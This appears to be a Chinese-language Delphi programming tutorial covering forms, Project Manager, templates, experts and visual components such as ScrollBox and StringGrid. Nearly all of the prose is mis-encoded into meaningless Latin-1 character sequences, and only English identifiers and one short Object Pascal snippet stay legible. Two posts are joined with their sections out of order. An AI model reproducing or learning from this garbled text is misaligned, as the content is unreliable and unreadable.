ÔÙÔËÐгÌÐò£¬³ýÁËÓëÉÏÊö¹¦ÄÜÏàͬÏÔʾAbout¶Ô»°¿òÍ⣬¸Ã³ÌÐòÖ»Óе±Óû§°´¶¯About¿òµÄ°´Å¥»ò±»About´°¿ØÖÆÍ¼±ê¹Ø±Õ´°¿Úºó£¬²Å»á»Øµ½Ö÷´°ÌåÖУ¬¶ø²»ÄÜÓëµÚÒ»¸ö´°Ìå·¢Éú½»»¥ÐÐΪ¡£Õâ¾ÍÊÇ·½·¨ShowºÍShowModalµÄÖ÷Òª²»Í¬Ö®´¦¡£¡¡
1.5.1.2 Ö¸¶¨×Ô¶¯´´½¨´°Ìå¡¡
ÉÏÃæÎÒÃǼòµ¥µØÉú³ÉÁËÒ»¸öº¬About¿òµÄË«´°ÌåÓ¦ÓóÌÐò£¬ÔËÐÐʱ£¬Ó¦ÓóÌÐòÆô¶¯Ê±½«×Ô¶¯´´½¨µÚ¶þ¸ö´°Ìå¡£´°Ìå±£³ÖÒþ±Î״̬£¬µ«ÈÔȻռÓÃWindowsµÄ×ÊÔ´¡£ÔÚ´óÐÍÓ¦ÓóÌÐòÖУ¬ÓÐʱ²»Ï£ÍûÔÚÓ¦ÓóÌÐò¼ÓÔØÊ±×Ô¶¯´´½¨ËùÓд°Ìå¡£Delphi¿ÉÒÔÖ¸¶¨ÄÄЩ´°Ìå±»×Ô¶¯´´½¨¡£
Ñ¡ÓÃProject|Options£¬DelphiÏÔʾProject options¶Ô»°¿ò¡£Èç¹ûForms²»Êǵ±Ç°Ò³£¬°´¶¯Ï±êǩʹ֮¿É¼û¡£Èçͼ1.12Ëùʾ£º
ͼʾΪDelphi×°ÔØµÄTextEditÀý³Ì(...\Delphi 2.0\Demos\doc\TextEdit.dpr)¡£ÔÚMainFormÕýÎÄ¿òÖÐÊäÈëÖ÷´°ÌåµÄÃû×Ö¡£µ±Ó¦ÓóÌÐòÆô¶¯Ê±£¬Ö÷´°Ìå×Ô¶¯´ò¿ª²¢»ñÈ¡ÊäÈë½¹µã¡£¶ÔMDIÓ¦Óã¬Ö÷´°ÌåµÄFormStyleÊôÐÔ±ØÐëÉèÖÃΪfsMDIForm¡£ÔÚAuto-created FormsÁбí¿òÖÐÁгöÁËÔÚÆô¶¯Ê±×Ô¶¯´´½¨µÄ´°Ì壬ȱʡʱ¹¤³ÌÎļþµÄËùÓд°Ìå¶¼ÔÚ´ËÁÐÖС£
Èç¹û²»ÐèÒª×Ô¶¯´´½¨´°Ì壬ʹÓüýÍ·°´Å¥°Ñ´°ÌåÒÆ¶¯µ½Available FormsÁбí¿òÖС£×Ô¶¯´´½¨µÄ´°Ìå¿ÉÒÔÓÃShow·½·¨½øÐÐÏÔʾ£¬¶ø²»×Ô¶¯´´½¨Ê±£¬±ØÐë±à³ÌʵÏÖ´°ÌåµÄÏÔʾ¡£ÔÚTextEdit¹¤³ÌÖУ¬¶¨ÒåÒ»¸öTEditFormÀàÐ͵ıäÁ¿EditForm£¬Ê¹ÓÃÁËÒÔϵĴúÂëÏÔʾµÚ¶þ¸ö´°Ì壺
Begin
EditForm := TeditForm.Create(Self);
EditForm.Open(OpenFileDialog.Filename);
EditForm.Visible := True;
End;
Ò²¼´£¬±ØÐëʹÓÃCreate·½·¨´´½¨´°Ì壬ͬʱ½«´°ÌåµÄVisibleÊôÐÔÉèÎªÕæ¡£¡¡
1.5.2 ʹÓù¤³Ì¹ÜÀíÆ÷Project Manager¡¡
µ±´°ÌåµÄÊýÄ¿Öð²½Ôö¼Óʱ£¬¸ú×Ù´°ÌåÒÔ¼°ÓëÖ®ÏàÁ¬µÄ¿âµ¥Ôª´úÂë¾Í±äµÃ±È½Ï·³Ëö¡£ÓÃDelphiÌṩµÄ¹¤³Ì¹ÜÀíÆ÷Project Manager¿ÉÒÔʹµÃ¹ÜÀí¸÷ÖÖ´°¿Ú¸üΪ·½±ã¡£
1.5.2.1 ¹¤³ÌÎļþµÄ×é³É¡¡
¹¤³Ì(project)ÊÇÕû¸öÓ¦ÓóÌÐòµÄÔ´Îļþ¼¯ºÏ£¬ÕâÑùµÄÎļþÒ»¹²ÓÐÈýÖÖ£º
1.Ò»¸ö°üº¬Ö÷³ÌÐò²¿·ÖµÄ¹¤³ÌÎļþ£¬ÓÃÒÔÇý¶¯ÓÉDelphi´´½¨µÄWindows³ÌÐò£¬À©Õ¹ÃûΪ.DPR¡£ÕâÊÇÔÚÓû§µÄ¹¤³Ì±»×°ÔØÊ±¾ÍÔËÐеÄÈ«¾ÖÓ¦ÓóÌÐòÎļþ£¬ËüµÄÃû×Ö³öÏÖÔÚProject ManagerµÄ±êÌâÌõÉÏ¡£¹¤³ÌÎļþÒ»°ãÊÇDelphi×Ô¶¯´´½¨µÄ£¬ÓÃView|Project Source¿ÉÒÔµ÷³ö¸Ã¹¤³ÌµÄÔ´Îļþ£¬Èç¹ûÐèÒª£¬¿ÉÒÔ¶Ô¹¤³ÌÔ´Îļþ½øÐб༡£
2.Ò»¸ö»ò¶à¸ö´°ÌåÎļþ£¬ËüÃǺ¬ÓÐÏàÓ¦µÄ¿âµ¥ÔªÎļþ¡£´°ÌåÎļþµÄÀ©Õ¹ÃûÊÇ.DFM¡£ÕâЩÎļþº¬×°ÔÚ´°ÌåÉϵĿØÖƲ¿¼þ¡£ÔÚDelphiÖÐÕâÑùµÄÎļþÊÇÔÚÓû§Éè¼Æ½çÃæµÄʱºòÓÉDelphi×Ô¶¯Éú³ÉµÄ£¬¶øÇÒ²»Äܱ༡£ÔÚDelphiÖУ¬Ò»¸öÓ¦ÓóÌÐòÖÁÉÙÐèÒªÒ»¸ö´°Ìå¡£
3. Object Pascal¿â¿âµ¥ÔªÎļþ¡£ ËüÃǵÄÀ©Õ¹ÃûΪ.PAS¡£´°ÌåµÄ¿âµ¥ÔªÎļþ°üº¬Á˳ÌÐò²¿·Ö£¬ÓÃÒÔ¿ØÖÆ´°ÌåµÄÐÐΪ¡£ÔÚÒ»¸ö¹¤³ÌÖУ¬»¹Òª°üº¬¸½¼Ó¿âºÍ±»Ó¦ÓóÌÐòÆäËü²¿·Öµ÷ÓõÄÖ§³Ö×Ó³ÌÐò¡£uses×Ó¾äÖаüº¬µÄ±ê×¼¿âµ¥ÔªÎļþ°üº¬ÁËÖ§³Ö¿ÉÊÓ´°Ìå¼°Æä¿ØÖƵĶÔÏóÉùÃ÷¡£ÕâЩ¿âµ¥ÔªÒ²°üº¬ÁËÓÃÓÚ¼¤»î´°ÌåµÄʼþ´¦Àí¹ý³Ì³ÌÐò¡£¡¡
1.5.2.2 ʹÓÃProject Manager½øÐй¤³Ì¹ÜÀí¡¡
Ñ¡ÓÃView|Project Manager£¬»áµ÷³öProject Manager´°¿Ú¡£
Project ManagerÖ÷Ì岿·ÖÁгöÁ˿ⵥԪÒÔ¼°Ïà¹ØÁªµÄ´°ÌåµÄ·¾¶£¬µ±¿âµ¥ÔªºÍ¹¤³ÌÔÚͬһĿ¼ÏÂʱ£¬Â·¾¶²»ÔÙÏÔʾ¡£Project Manager°üº¬ÁËÓ¦ÓóÌÐòµÄËùÓÐÔ´ÎļþºÍ´°¿Ú¡£²¢²»ÊÇÿһ¸ö¿âµ¥Ôª¶¼ÓµÓÐÒ»¸öÏà¹ØÁªµÄ´°Ìå¡£Project Manager¿ÉÒÔ×÷Ϊ¹¤³ÌµÄÒ»¸ö¼ò½ÝĿ¼¡£ÔÚÁгöµÄÈκÎÒ»¸ö´°Ìå»ò¿âµ¥ÔªÉÏË«»÷Êó±ê×ó¼ü£¬Delphi¾Í»á²úÉú´Ë¶ÔÏóµÄ´úÂë±à¼Æ÷¡£
Project Manager ´°¿ÚÉÏÓÐÔö¼Ó¡¢É¾³ý¶ÔÏóÒÔ¼°²é¿´¶ÔÏóµÄ¼ÓËÙ°´Å¥¡£Options¼ÓËÙ¼üÄܹ»´ò¿ªÇ°ÎÄËùÊöµÄProject Options¶Ô»°¿ò¡£Èç¹ûÔÚProject Manager´ò¿ªÊ±±à¼Á˹¤³Ì¸÷ÎļþµÄÔ´´úÂ룬¿Éµ¥»÷Update¼ÓËÙÌõ°´Å¥Ë¢Ð¶ÔÏóÁÐ±í¡£¡¡
1.5.3 ʹÓô°ÌåÑù°åºÍ¶Ô»°¿òר¼Ò¡¡
ÔÚǰÎĵÄÀý³ÌÖУ¬ÎÒÃÇ´´½¨ÁËÒ»¸ö¼òµ¥µÄAbout¿ò¡£ÔںܶàÓ¦ÓóÌÐòÖУ¬¶¼»áÓõ½ÕâÖÖ½øÐÐÐÅÏ¢Ìáʾ»ò±íʾ°æ±¾ÐÅÏ¢µÄ¶Ô»°¿ò¡£DelphiµÄÉè¼ÆË¼ÏëÊÇÈí¼þ¿ÉÖØÓã¬ËùÒÔϵͳphiÒÑ¾ÔØÈëÁËһЩÓû§¿ÉÖØ¸´Ó¦ÓõĴ°ÌåÑù°å¡£Ê¹Óô°ÌåÑù°å£¬¿ÉÒÔ¼òµ¥µØÉú³É¸÷ÖÖ¶Ô»°¿ò£¬½ÚÊ¡ÁË´óÁ¿µÄÖØ¸´¹¤×÷¡£¡¡
1.5.3.1 ʹÓô°ÌåÑù°å´´½¨´°Ìå¡¡
´´½¨Ò»¸öй¤³Ìʱ£¬DelphiΪÓû§´´½¨ÁËÒ»¸öеĿմ°Ìå¡£Èç¹ûÐèҪʹÓÃÒ»¸ö´°ÌåÑù°å£¬Ïò¹¤³ÌÖÐÔö¼ÓÒ»¸ö´°Ì塣ѡÓÃFile|New£¬Delphi¼´»áÏÔʾNew Items¶Ô»°¿ò¡£ÔÚFormsÒ³ÉÏ£¬´ÓÑù°å¿âÖÐÑ¡ÔñÖÐÒâµÄд°ÌåÔö¼Óµ½¹¤³ÌÖС£ÀýÈ磬DelphiÌṩÁËAbout BoxÑù°å¡£Èç¹ûÑ¡ÔñËü£¬About¶Ô»°¿ò¾ÍÔö¼Óµ½¹¤³ÌÖУ¬Óû§Ö»Ðè¼ÓÈë×Ô¼ºµÄ¸÷ÖÖÐÅÏ¢¼´¿É£¬ÕâÑù¾Í¼ò»¯Á˹¤×÷¡£Í¬Ñù£¬Òª½¨Á¢Ò»¸ö¶Ô»°¿ò´°¿Ú£¬ÔÚDialogsÒ³ÉÏ£¬Ñ¡ÓÃËùÐèµÄ¶Ô»°¿òÑù°å£¬¿ÉÒÔ¼ò±ãµØ½¨Á¢ÆðËùÐèµÄ¶Ô»°¿ò´°¿Ú¡£
1.5.3.2 ´æ´¢×Ô¼ºµÄ´°ÌåÑù°å¡¡
Äú¿ÉÒÔÔÚÑù°å¿âÖд洢×Ô¼ºµÄ´°ÌåÑù°å¡£Ê×ÏÈ´´ÖÆÒ»¸ö´°ÌåµÄÑù±¾£¬ÔÚ´°ÌåÇøÓòÖе¥»÷Êó±êµÄÓÒ¼ü£¬¿ÉÒÔµ÷³ö´°ÌåµÄ¼ÓËٲ˵¥¡£Ñ¡ÓÃAdd To Repository...£¬½«µ¯³ö¶Ô»°¿ò¡£
ÔÚFormsÁбí¿òÖУ¬Ñ¡ÔñÏëÒª´´½¨ÎªÑù°åµÄ´°Ìå¡£ÔÚTitleÊäÈë¿òÖÐÊäÈëÏëÒªÔÚÑù±¾¿âÄÚͼ±êϳöÏÖµÄÎı¾¡£ÔÚDescr¨©ptionÇø£¬ÊäÈë¹ØÓÚÑù°åµÄÏêϸ˵Ã÷¡£ÕâÑùÔÚä¯ÀÀÑù±¾¿âʱ£¬ÔÚ״̬ÐÐÉÏ»áÏÔʾÕâ¶ÎÎÄ×ÖÒÔ½øÐÐÌáʾ¡£¿ÉÒÔÑ¡ÔñÒ»¸öͼ±ê×÷Ϊд°ÌåÑù°åµÄͼ±ê£¬°´¶¯Browse°´Å¥£¬Ñ¡ÔñÒ»¸öÏÖÓÐͼ±êÀ´´ú±íеĴ°ÌåÑù°å¡£·ñÔò½«Ê¹Óð´Å¥×ó·½µÄȱʡ´°Ìåͼ±ê¡£°´OK°´Å¥£¬Delphi»áÒªÇóÄúÈ·ÈϽ«´°Ìå´æ´¢ÎªÑù°å¡£
Ôٴδò¿ªNew Items¶Ô»°¿ò£¬Äú»á·¢ÏÖÄúµÄ´°ÌåÒѾ±»´æ´¢³ÉÒ»¸ö´°ÌåÑù°å¡£¡¡
1.5.3.3 ʹÓöԻ°¿òר¼ÒDialog Expert¡¡
¶Ô»°¿òÑù°å³ÊÏÖÁËÓѺýçÃæµÄ±»±£´æ¶Ô»°¿ò£¬¶ø¶Ô»°¿òר¼ÒÈ´Äܸù¾ÝÓû§ÌṩµÄÐÅÏ¢£¬ÖÇÄܵش´½¨¸´ÔӵĶԻ°¿ò¡£
Ñ¡ÓÃFile|New...£¬ÔÚNew|ItemsµÄDialogҳѡÓÃDialogs Expert£¬Delphi½«Ìáʾ»Ø´ð¸÷ÖÖÎÊÌ⣬ÒÔ±ãÓÚ½¨Á¢¸´ÔӵĶԻ°¿ò¡£
1.5.4 ʹÓù¤³ÌÑù°åºÍÓ¦ÓÃר¼Ò¡¡
DelphiµÄ¹¤³ÌÑù°åÌṩԤÏÈÉè¼ÆµÄ¹¤³ÌÀ´×÷ΪӦÓóÌÐò¿ª·¢µÄÆðµã¡£¶øÓ¦ÓÃר¼ÒÔòÔÊÐíÓû§°´ÕÕÒ»¶¨µÄģʽÀ´´´½¨Ò»¸öÓ¦ÓóÌÐò¡£¡¡
1.5.4.1 ʹÓù¤³ÌÑù°å¡¡
µ±Äúͨ¹ýÒ»¸ö¹¤³ÌÑù°åÀ´¿ªÊ¼Ò»¸ö¹¤³Ìʱ£¬³ýÁ˿հ׹¤³ÌÑù°åÍ⣬¶¼»á±»ÒªÇóÖ¸¶¨Ò»¸öΨһµÄ×ÓĿ¼¼´¹¤³ÌĿ¼Project Directory£¬ÓÃÀ´´æ´¢ÐµĹ¤³Ì¡£Èç¹ûÄúÖ¸¶¨Ò»¸ö²»´æÔÚµÄĿ¼£¬Delphi»á°ïÖúÄúÉú³ÉËü¡£Äú¿ÉÒÔͨ¹ý¼ÓÈëеĴ°ÌåºÍ³ÌÐò¿âµ¥ÔªÀ´ÐÞ¸ÄËü£¬»ò²»¼ÓÐ޸ĵØÖ±½ÓÀûÓ㬶øÖ»ÊǼÓÈëÄúµÄʼþ´¦Àí¹ý³Ì¡£ÎÞÂÛÄúÈçºÎÐ޸ģ¬ÄúËù×÷µÄÐÞ¸ÄÖ»Ó°Ïìµ½´ò¿ªµÄ¹¤³Ì£¬ÔÏȵŤ³ÌÑù°å²»»áÊܵ½Ó°Ï죬¿ÉÔٴα»ÀûÓá£
Ñ¡ÓÃFile|New£¬ÔÚNew Items¶Ô»°¿òÖÐÑ¡ÓÃProjectsÒ³£¬¿ÉÒÔÑ¡Ôñ½«MDI¡¢SDI¡¢Windows 95 LogoµÈÓ¦ÓóÌÐò×÷ΪȱʡµÄ¹¤³ÌÀàÐÍ£¬µã¶¯ËùÐ蹤³ÌµÄͼ±ê£¬Ê¹Ö®¸ßÁÁ¶ÈÏÔʾ£¬È»ºó°´OK°´Å¥¡£Èçͼ1.17Ëùʾ¡£ÔÚ½ÓÏÂÀ´µÄSelect Dictionary¶Ô»°¿òÖÐÖ¸¶¨Ò»¸öÓÃÀ´°üº¬ÐµĹ¤³ÌÎļþµÄĿ¼£¬ÔòÒ»¸ö¹¤³ÌÑù°åµÄ¸±±¾ÔÚÖ¸¶¨µÄĿ¼Öдò¿ª¡£
1.5.4.2 ʹÓÃÓ¦ÓÃר¼ÒApplication Expert¡¡
Ò»¸öÓ¦ÓÃר¼Ò¾ÍÊÇÒ»¸öÓ¦ÓóÌÐò£¬Ëü»áÒÀÕÕÄúÔÚһϵÁжԻ°¿òÖÐËùÉèÖõÄÑ¡ÏîÖµÀ´²úÉúÒ»¸ö¹¤³Ì¡£
Èç¹ûÄúÏëÔÚ´ò¿ªÒ»¸ö¹¤³Ìʱ£¬ÀûÓÃÓ¦ÓÃר¼ÒÀ´È¡´ú¹¤³ÌÑù°å¶ø³ÉΪȱʡֵ£¬ÔòʹÓÃFile|New£¬ÔÚNew ItemsµÄProjectsÒ³ÉÏÑ¡ÓÃApplcation Expert¡£ÕâÑù£¬Ë«»÷ËüµÄͼ±ê£¬»áµ¯³öһϵÁжԻ°¿òÌáÎÊ£¬ÒªÇóÄúÑ¡ÔñÄúµÄ¹¤³ÌÊÇ·ñÐèÒªÒ»¸ö±ê×¼µÄWindows 95¶Ô»°¿ò¡¢º¬ÓÐÄÄЩ²Ëµ¥¡¢¼ÓËÙÌõµÈ¡£Í¼1.18ÊÇʹÓÃÓ¦ÓÃר¼Òºó³öÏֵĵÚÒ»¸ö¶Ô»°¿ò¡£
Delphi »áÒªÇóÄúÊäÈëÄúµÄ¹¤³ÌÎļþÃû¼°Ëü´æ´¢µÄΨһĿ¼£¬²¢ÌáʾÄúÑ¡ÔñÓ¦ÓóÌÐòÊÇ·ñʹÓÃMDI´°¿Ú¡¢ÊÇ·ñº¬ÓÐ״̬ÐС¢ÌáʾµÈ¡£Ñ¡ÏîÉèÖÃÍê±Ï£¬°´¶¯Finish°´Å¥£¬Application Expert¼´°´ÕÕÄúµÄÒªÇ󣬽¨Á¢ÆðÒ»¸ö¿ÉÒÔÖ±½ÓÔËÐеŤ³ÌÎļþ¡£
-
µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨ËÄ£©
2007-05-28 16:23:49
1.3.4.2 Shape²¿¼þ¡¡
ͼÐβ¿¼þShapeÔÚǰÎÄÖÐÎÒÃÇÒÑÓÐÁ˽⣬Ëü¿ÉÒÔ´¦Àí¶àÖÖ¼¸ºÎÐÎ×´£¬Í¨¹ýÉèÖÃPenºÍBrushµÄǶÌ×ÊôÐÔ£¬¿ÉÒÔÉèÖÃͼÐα߿òÑÕÉ«¡¢ÏßÐͼ°Í¼Ðεķç¸ñ¡¢Ìî³ä·½Ê½¡¢Ìùͼ·½Ê½µÈ¡£¡¡
1.3.4.3 PaintBox²¿¼þ¡¡
ÔÚSystemÒ³ÉÏ»¹ÓÐÒ»¸öPaintBox(»æÍ¼¿ò)²¿¼þ£¬ËüÔÚ´°ÌåÉÏΪÄúÌṩһ¿é¿É¹©»æÍ¼µÄÇøÓò¡£ÕâÒ»²¿¼þÐèÒª±à³ÌʵÏÖËüµÄ¹¦ÄÜ£¬Ò»¸öÖ»ÓÐÔÚÔËÐÐʱ²ÅÓÐЧµÄÖØÒªÊôÐÔCanvasÊÇÍê³É»æÍ¼µÄ¹Ø¼ü¡£PaintBox²¿¼þ²»Äܵ¥¶À´æÔÚÓÚ´°ÌåÖУ¬±ØÐë°ÑËü·ÅÔڹ̶¨µÄ·Ö×鲿¼þÖС£¡¡
1.3.5 ¹ØÏµÍ¼¡¢ÎļþÁÐ±í²¿¼þ¡¡
1.3.5.1 OutLine²¿¼þ¡¡
OutLine(ÂÔͼ)²¿¼þÔÚWin 3.1Ò³ÉÏ£¬ËüÊÊÓÃÓÚÏÔʾ·Ö²ãµÄÊý¾Ý¡¢Îı¾¡£ÔÚDelphiÖУ¬ÂÔͼ²¿¼þ¾ßÓкܿíµÄÉèÖ÷¶Î§¡£ËüµÄLinesÊôÐÔ¿ÉÒÔÉèÖÃÿһ´ÊÌõµÄÎı¾»òÊý¾Ý¡£Ò»°ãÒ»¸ö¿Õ¸ñÏ൱ÓÚÒ»¸ö²ã´Î£¬Èç¹ûÔÚÏîĿǰ¼ÓÒ»¸ö¿Õ¸ñÔò±íʾËü´¦ÓÚÊ÷µÄÏÂÒ»²ã¡£ËùÒÔÔÚ½øÐÐLinesÊôÐԱ༵Äʱºò²»ÄÜÓÃTab¼ü¡£ÔÚ±à³ÌʱÓÃLinesºÍItemsÊôÐÔÀ´·ÃÎÊÂÔͼµÄÃû³Æ¡¢Ë÷Òý¼°ÍêÕûµÄ·¾¶Ãû¡£OutLineStyleÊôÐÔÓÃÀ´ÅäÖÃÏÔʾʱ¹ØÏµÍ¼µÄ·ç¸ñ£¬Äú¿ÉÒÔÑ¡¶¨ÓÃÅÔ±ßÓÐͼ±êµÄËõ½ø·½Ê½£¬Ò²¿ÉÒÔÑ¡ÔñÁ¬Ïß·½Ê½¡£¡¡
1.3.5.2 Ŀ¼·ÃÎʲ¿¼þ¡¡
DelphiΪÄúÌṩÁËÇ¿´óµÄÎļþĿ¼·ÃÎʲ¿¼þ¡£Äú¿ÉÒÔÕë¶Ô¾ßÌåµÄÓÃ;Éè¼Æ×Ô¶¨ÒåµÄÎļþ¶Ô»°¿ò¡£ÔÚ²¿¼þÑ¡Ïî°åÉÏÑ¡ÖÐSystemÒ³£¬Äú½«·¢ÏÖÕâЩ²¿¼þ£¬ËüÃÇÊÇÎļþÁбí¿òFileListBox¡¢Ä¿Â¼Áбí¿òDirectoryListBox¡¢Çý¶¯Æ÷ÏÂÀʽÁбí¿òDriveComboBoxºÍ¹ýÂËʽÏÂÀÁбí¿òFilterComboBox²¿¼þ¡£
ÎļþÁбí¿ò²¿¼þFileListBoxÏÔʾµ±Ç°Ä¿Â¼ÖеÄÎļþ£¬È±Ê¡µÄÉèÖÃÊÇÏÔʾËùÓÐÎļþ¡£Í¨¹ý¸Ä±äMaskÊôÐÔÀ´ÉèÖùýÂËÆ÷£¬¿ÉÒÔÊÊÓÃDOSµÄ±ê׼ͨÅ䷽ʽ£¬Ñ¡ÔñÒªÏÔʾµÄÎļþÃû¡£µ±Ö¸¶¨¶à¸ö¹ýÂËÆ÷ʱ£¬Ö®¼äÓá°;¡±¸ô¿ª¡£
Ŀ¼Áбí¿ò²¿¼þDirectoryListBoxÏÔʾµ±Ç°Çý¶¯Æ÷ÄÚµÄĿ¼£¬²¢ÇÒÔÊÐíÓû§ÔÚ³ÌÐòÖ´ÐÐʱÇл»Ä¿Â¼¡£ColumnÊôÐÔ¾ö¶¨Ä¿Â¼ÔÚ´°¿ÚÖÐÓöàÉÙÁнøÐÐÏÔʾ£¬µ±´°Ìå¿Õ¼ä²»¹»Ê±£¬Óü¸ÁнøÐÐÏÔʾ½«ÓÐÖúÓÚÈ«ÃæµØÏÔʾĿ¼ÐÅÏ¢¡£ÔÚDelphiÖУ¬µ±´°¿Ú¿Õ¼äÏÔʾ²»ÏÂÈ«²¿ÐÅϢʱ£¬½«×Ô¶¯¼ÓÉϹöÐÐÌõ£¬ÒÔ·½±ãÓû§µÄ²Ù×÷¡£
Çý¶¯Æ÷ÏÂÀʽÁбí¿ò²¿¼þDriveComboBoxÏÔʾµ±Ç°ËùÔÚµÄÇý¶¯Æ÷£¬²¢ÇÒÔÚÖ´ÐÐʱÔÊÐíÓû§ÔÚÇý¶¯Æ÷Ö®¼äÇл»¡£×÷Ϊ³ÌÐòÔ±ÔÚÓ¦ÓÃÕâÒ»²¿¼þʱ£¬Ó¦¿¼Âǵ±Óû§Ñ¡Ôñµ½²»´æÔÚµÄÇý¶¯Æ÷ʱ£¬½øÐÐÈÝ´í¡¢Ìáʾ´¦Àí¡£
FilterComboBox(¹ýÂËʽÏÂÀÎļþÁбí¿ò)²¿¼þÏÔʾµ±Ç°Îļþ¹ýÂËÆ÷ÀàÐÍ£¬ÀýÈç*.*£¬*.pasµÈ¡£ÔÚÖ´ÐÐʱÔÊÐíÓû§ÔÚÏÂÀÁбíÖÐÑ¡ÔñÒªÏÔʾµÄÎļþÀàÐÍ¡£¶ÔFilterÊôÐÔ½øÐгõʼ»¯£¬¾Í»áµÃµ½ÏÂÀʽÁÐ±í¡£
³ýÁËÒÔÉϵÄËĸö²¿¼þÍ⣬ÔÚSampleÒ³ÉÏ£¬Delphi»¹ÌṩÁËÒ»¸öĿ¼ÂÔͼ²¿¼þDirectoryOutline¡£Ëü½«µ±Ç°´ÅÅÌÖеÄĿ¼½á¹¹ÏÔʾ³ÉÒ»¸ö¶à²ã´ÎµÄÂÔͼ£¬Ò²ÔÊÐíÓû§ÔÚÔËÐÐʱ½øÐÐĿ¼µÄ²ã´ÎÏÔʾÇл»¡£¡¡
1.3.6 ¹ö¶¯²¿¼þ¡¡
1.3.6.1 ScrollBar²¿¼þ¡¡
ScrollBar(¹öÐÐÌõ)ÊÇÔÚWindowsÓ¦ÓóÌÐòÖг£¼ûµÄ½á¹¹£¬ÔÚDelphiÖжàÊý²¿¼þÓÐ×Ô¼ºµÄÊÇ·ñ¼ÓÈë¹öÐÐÌõµÄÊôÐÔScrollBar£¬µ«Ò»¸ö¶ÀÁ¢µÄ¹öÐÐÌõ²¿¼þÈÔÊǺÜÓÐÒâÒåµÄ¡£ËüÔÚ²¿¼þÑ¡Ïî°åµÄStandardÒ³£¬ÌṩһÖÖ¿ÉÒԸıä²Ëµ¥»òÊÇ»ÃæÖпɼû²¿·ÖµÄ¹¤¾ß£¬¿ÉÒÔÒÔÒ»¶¨µÄÔöÁ¿ÔÚÒ»¶¨·¶Î§ÄÚ¹ö¶¯¡£PositionÊôÐÔÊǸöÕûÐÎÖµ£¬Èç¹ûÐèÒªÒÔ¶¯Ì¬µÄ·½Ê½ÏÔʾ¹öÐÐÌõ£¬¿ÉÒÔÔÚ³ÌÐòÖÐͨ¹ý²Ù×÷ÕâÒ»ÊôÐÔÀ´ÊµÏÖ¡£¡¡
1.3.6.2 ScrollBox²¿¼þ¡¡
ScrollBox(¹ö¶¯¿ò)²¿¼þÊǼÓÉÏÁËˮƽ¡¢´¹Ö±¹öÐÐÌõµÄȺ×é¿ò²¿¼þ£¬ËüÔÚAdditionalÒ³ÉÏ£¬ÓÃ×÷ÔÚ´°ÌåÖÐÌṩһ¸ö¿ÉÒÔ¶à·½Ïò¹öÐеŤ¾ß¡£Èç¹ûÄúÖ»ÏëÏÔʾ½Ï´ó·ùÃæµÄÒ»¸ö²¿·Ö£¬²¢ÔÊÐíÄúµÄÓû§¶ÔÆä½øÐйöÐвÙ×÷£¬ScrollBar½«ÊÇÀíÏëµÄÑ¡Ôñ¡£Äú¿ÉÒÔÏÈÔÚÈ«·ùÃæµÄ¹ö¶¯¿òÖнøÐÐÈ«ÃæÉè¼Æ£¬È»ºóÊʵ±µØËõСÍâ¿ò£¬Á½¸ö·½ÏòµÄ¹öÐÐÌõ½«×Ô¶¯ÏÔʾ¡£ËüµÄPositionÊôÐÔÊǼ¯³ÉÔÚHorzScrollBarºÍVertScrollBarÁ½¸ö¼¯ÊôÐÔÏµģ¬±à³Ìʱ£¬¿ÉÒÔÑ¡¶¨ÕâÁ½¸öÊôÐÔ½øÐвÙ×÷¡£¡¡
1.3.6.3 ¼¸¸ö½ø¶ÈÏÔʾ²¿¼þ¡¡
ÔÚSystem¡¢Sample¡¢Win 95¡¢OCXµÈÒ³ÉÏ£¬Delphi»¹ÎªÓû§ÌṩÁ˼¸¸ö²¿¼þ£¬Íê³ÉÏÔʾ½ø¶È£¬ÔöÁ¿µÈ²Ù×÷¡£²¿¼þGauge¿ÉÒÔÏÔʾ³É³¤Ìõ×´µÄ»ò±ý×´µÄ½ø¶ÈָʾÒÇ±í¡£ÀýÈçÔÚ°²×°Èí¼þʱ£¬¿ÉÒÔ±à³ÌÈÃÕâÒ»²¿¼þÏÔʾĿǰ°²×°µÄ°Ù·Ö±È¡£
¡¡¡¡Î¢µ÷°´Å¥²¿¼þSpinButtonº¬ÓÐָʾÏòÉÏ¡¢ÏòϵÄÁ½¸ö°´Å¥£¬Ëü¿ÉÒÔÓÃÀ´µ÷½ÚÊýÖµ£¬Ê¹±»¿ØÖƵÄÖµ°´Ò»¶¨µÄÔöÁ¿µ¥Î»£¬ÓÉÓû§²Ù×÷µÝÔö»òµÝ¼õ¡£
¡¡¡¡Î¢µ÷±à¼¿òSpinEditÊÇ΢µ÷°´Å¥ºÍ±à¼¿òµÄ½áºÏ£¬ËüÔÚ±à¼ÇøÓòÏÔʾÁËÊýÖµ£¬ÓÖÔÚÓÒ²àÉèÁË΢µ÷°´Å¥£¬Ê¹µÃÓû§Ñ¡Ôñµ÷½Ú°´Å¥»ò¸Ä±äÊýÖµµÄ·½Ê½£¬À´µ÷ÕûÊý¾ÝµÄÖµ£¬²¢·µ»ØValueÊôÐÔ¡£
ÆäËüµÄ´ËÀಿ¼þ£¬Òòƪ·ùÏÞÖÆ£¬´Ë´¦²»×ö׸Êö¡£¾ßÌ岿¼þµÄÐÅÏ¢£¬°´ÕÕÃû³ÆÔÚÔÚÏß°ïÖúÖвéѯÆä·½·¨¡¢Óò¼°Ó¦ÓÃʵÀý£¬¿ÉÒԵõ½ÏêϸӦÓÃ×ÊÁÏ¡£ ¡¡
1.3.7 Íø¸ñ¡¢±í¸ñ²¿¼þ¡¡
ÔÚAdditionalÒ³ÖУ¬»¹ÓÐ×Ö·û´®±í¸ñ²¿¼þStringGrid£¬»æÍ¼±í¸ñ²¿¼þDrawGridµÈ¡£ËüÃÇ¿ÉÒÔÓÃÀ´Ä£Äâ°´Íø¸ñÅÅÁеÄÊÂÎÈç³ÉÅŵİ´¼ü¡¢²Ù×ÝÅ¥¡¢×Ö·û´®µÈ¡£ÊôÐÔRowCountºÍColCountÉèÖÃÁËÔÚÍø¸ñÖÐÏÔʾµÄÐÐÁеÄÊýÄ¿£¬ÉèÖÃFixedColsºÍFixedRowsµÄÖµ£¬¿ÉÒԹ̶¨Ò»Ð©ÐÐÁбÜÃâÔËÐÐʱ±»Óû§¸Ä±ä¡£Options¼¯ÊôÐÔº¬ÓÐ×Ö·û´®±í¸ñ²¿¼þµÄÏÔʾ·½Ê½¡¢²Ù×÷·½Ê½µÈ£¬¿ÉÒÔ²éÔİïÖú»ñµÃÏêϸµÄÐÅÏ¢£¬´Ë´¦²»ÔÙÒ»Ò»±íÊö¡£
